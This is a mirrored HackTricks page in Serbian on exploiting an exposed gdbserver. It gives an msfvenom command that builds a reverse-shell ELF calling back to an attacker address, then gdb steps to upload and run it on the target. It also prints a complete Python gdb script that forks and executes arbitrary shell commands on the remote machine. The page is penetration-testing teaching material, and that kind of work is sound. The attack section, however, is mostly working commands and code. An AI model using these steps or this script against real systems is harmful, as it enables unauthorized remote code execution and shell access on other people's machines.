mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
222 lines
8.2 KiB
Markdown
222 lines
8.2 KiB
Markdown
# Pentesting Remote GdbServer
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
|
|
|
|
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
## **Osnovne informacije**
|
|
|
|
**gdbserver** je alat koji omogućava daljinsko debagovanje programa. Radi zajedno sa programom koji treba debagovati na istom sistemu, poznatom kao "cilj." Ova postavka omogućava **GNU Debugger**-u da se poveže sa druge mašine, "hosta," gde su smešteni izvorni kod i binarna kopija debagovanog programa. Povezivanje između **gdbserver**-a i debagera može se ostvariti preko TCP-a ili serijske linije, omogućavajući svestrane postavke debagovanja.
|
|
|
|
Možete napraviti da **gdbserver sluša na bilo kojem portu** i u ovom trenutku **nmap nije sposoban da prepozna uslugu**.
|
|
|
|
## Eksploatacija
|
|
|
|
### Učitaj i izvrši
|
|
|
|
Možete lako kreirati **elf backdoor sa msfvenom**, učitati ga i izvršiti:
|
|
```bash
|
|
# Trick shared by @B1n4rySh4d0w
|
|
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
|
|
|
|
chmod +x binary.elf
|
|
|
|
gdb binary.elf
|
|
|
|
# Set remote debuger target
|
|
target extended-remote 10.10.10.11:1337
|
|
|
|
# Upload elf file
|
|
remote put binary.elf binary.elf
|
|
|
|
# Set remote executable file
|
|
set remote exec-file /home/user/binary.elf
|
|
|
|
# Execute reverse shell executable
|
|
run
|
|
|
|
# You should get your reverse-shell
|
|
```
|
|
### Izvršavanje proizvoljnih komandi
|
|
|
|
Postoji još jedan način da se **naterate debager da izvrši proizvoljne komande putem** [**prilagođenog python skripta preuzetog odavde**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
|
```bash
|
|
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
|
target extended-remote 192.168.1.4:2345
|
|
|
|
# Load our custom gdb command `rcmd`.
|
|
source ./remote-cmd.py
|
|
|
|
# Change to a trusty binary and run it to load it
|
|
set remote exec-file /bin/bash
|
|
r
|
|
|
|
# Run until a point where libc has been loaded on the remote process, e.g. start of main().
|
|
tb main
|
|
r
|
|
|
|
# Run the remote command, e.g. `ls`.
|
|
rcmd ls
|
|
```
|
|
Prvo **lokalno kreirajte ovaj skript**:
|
|
|
|
{% code title="remote-cmd.py" %}
|
|
```python
|
|
#!/usr/bin/env python3
|
|
|
|
import gdb
|
|
import re
|
|
import traceback
|
|
import uuid
|
|
|
|
|
|
class RemoteCmd(gdb.Command):
|
|
def __init__(self):
|
|
self.addresses = {}
|
|
|
|
self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
|
|
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
|
|
|
|
gdb.execute("set detach-on-fork off")
|
|
gdb.execute("set follow-fork-mode parent")
|
|
|
|
gdb.execute("set max-value-size unlimited")
|
|
gdb.execute("set pagination off")
|
|
gdb.execute("set print elements 0")
|
|
gdb.execute("set print repeats 0")
|
|
|
|
super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
|
|
|
|
def preload(self):
|
|
for symbol in [
|
|
"close",
|
|
"execl",
|
|
"fork",
|
|
"free",
|
|
"lseek",
|
|
"malloc",
|
|
"open",
|
|
"read",
|
|
]:
|
|
self.load(symbol)
|
|
|
|
def load(self, symbol):
|
|
if symbol not in self.addresses:
|
|
address_string = gdb.execute(f"info address {symbol}", to_string=True)
|
|
match = re.match(
|
|
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
|
|
)
|
|
if match and len(match.groups()) > 0:
|
|
self.addresses[symbol] = match.groups()[0]
|
|
else:
|
|
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
|
|
|
|
return self.addresses[symbol]
|
|
|
|
def output(self):
|
|
# From `fcntl-linux.h`
|
|
O_RDONLY = 0
|
|
gdb.execute(
|
|
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
|
|
)
|
|
|
|
# From `stdio.h`
|
|
SEEK_SET = 0
|
|
SEEK_END = 2
|
|
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
|
|
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
|
|
if int(gdb.convenience_variable("len")) <= 0:
|
|
gdb.write("No output was captured.")
|
|
return
|
|
|
|
gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
|
|
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
|
|
gdb.execute('printf "%s\\n", (char*) $mem')
|
|
|
|
gdb.execute(f'call (int){self.load("close")}($fd)')
|
|
gdb.execute(f'call (int){self.load("free")}($mem)')
|
|
|
|
def invoke(self, arg, from_tty):
|
|
try:
|
|
self.preload()
|
|
|
|
is_auto_solib_add = gdb.parameter("auto-solib-add")
|
|
gdb.execute("set auto-solib-add off")
|
|
|
|
parent_inferior = gdb.selected_inferior()
|
|
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
|
|
child_pid = gdb.convenience_variable("child_pid")
|
|
child_inferior = list(
|
|
filter(lambda x: x.pid == child_pid, gdb.inferiors())
|
|
)[0]
|
|
gdb.execute(f"inferior {child_inferior.num}")
|
|
|
|
try:
|
|
gdb.execute(
|
|
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
|
|
)
|
|
except gdb.error as e:
|
|
if (
|
|
"The program being debugged exited while in a function called from GDB"
|
|
in str(e)
|
|
):
|
|
pass
|
|
else:
|
|
raise e
|
|
finally:
|
|
gdb.execute(f"inferior {parent_inferior.num}")
|
|
gdb.execute(f"remove-inferiors {child_inferior.num}")
|
|
|
|
self.output()
|
|
except Exception as e:
|
|
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
|
|
raise e
|
|
finally:
|
|
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
|
|
|
|
|
|
RemoteCmd()
|
|
```
|
|
{% endcode %}
|
|
|
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Dobijte perspektivu hakera na vaše veb aplikacije, mrežu i oblak**
|
|
|
|
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
{% hint style="success" %}
|
|
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Podržite HackTricks</summary>
|
|
|
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
{% endhint %}
|